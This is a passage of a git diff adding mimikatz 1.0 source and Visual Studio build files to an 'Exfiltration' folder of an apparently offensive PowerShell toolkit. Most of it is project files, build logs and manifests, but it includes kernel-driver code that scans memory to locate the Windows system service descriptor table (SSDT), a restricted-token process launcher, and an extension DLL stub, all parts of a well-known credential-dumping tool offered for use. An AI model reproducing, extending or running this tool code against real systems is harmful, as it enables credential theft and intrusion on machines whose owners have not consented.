OFFS_WNO8_Ke = -19; + LONG OFFS_WIN8_Ke = -16; + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + PUCHAR baseSearch = NULL; + + if(KeServiceDescriptorTable) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); + if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refDebut= baseSearch - 21*PAGE_SIZE; + refFin = baseSearch + 16*PAGE_SIZE; + offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; + + retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); + } + } + return retour; +} +#endif
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h new file mode 100644 index 0000000..33ab9af --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.h @@ -0,0 +1,13 @@ +#pragma once +#include "k_types.h" +#include "mod_memory.h" +#include "modules.h" + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +#ifdef _M_IX86 + extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +#else + PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; + NTSTATUS getKeServiceDescriptorTable(); +#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..574462d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..1393f52 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..05c99d0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res Binary files differnew file mode 100644 index 0000000..416efb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog new file mode 100644 index 0000000..352791c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..cdc5689 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..b97e650 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..f8b3fd9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..be34103 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..23f6601 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..53b60f3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..92ee084 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..6f2e9b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..c18037c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 0000000..63130c9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h new file mode 100644 index 0000000..22ffbc2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include <windows.h> + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc Binary files differnew file mode 100644 index 0000000..f08bc56 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj new file mode 100644 index 0000000..ef29473 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj @@ -0,0 +1,119 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>kappfree</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="kappfree.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="kappfree.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kappfree.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters new file mode 100644 index 0000000..987362e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters @@ -0,0 +1,12 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClInclude Include="kappfree.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kappfree.rc" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="kappfree.c" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..d6e37a7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..93f65cf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..bd72d30 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res Binary files differnew file mode 100644 index 0000000..f3f1c55 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog new file mode 100644 index 0000000..17139b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..41cc4a2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..da4e714 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..6d0be40 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..bbb2100 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..b7cc267 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..1ff82f2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..fb31489 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..811b6f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..30d54de --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp new file mode 100644 index 0000000..d49a183 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp @@ -0,0 +1,12 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kelloworld.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); + return true; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h new file mode 100644 index 0000000..daa8973 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc Binary files differnew file mode 100644 index 0000000..312b232 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj new file mode 100644 index 0000000..b0b3674 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj @@ -0,0 +1,121 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>kelloworld</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + 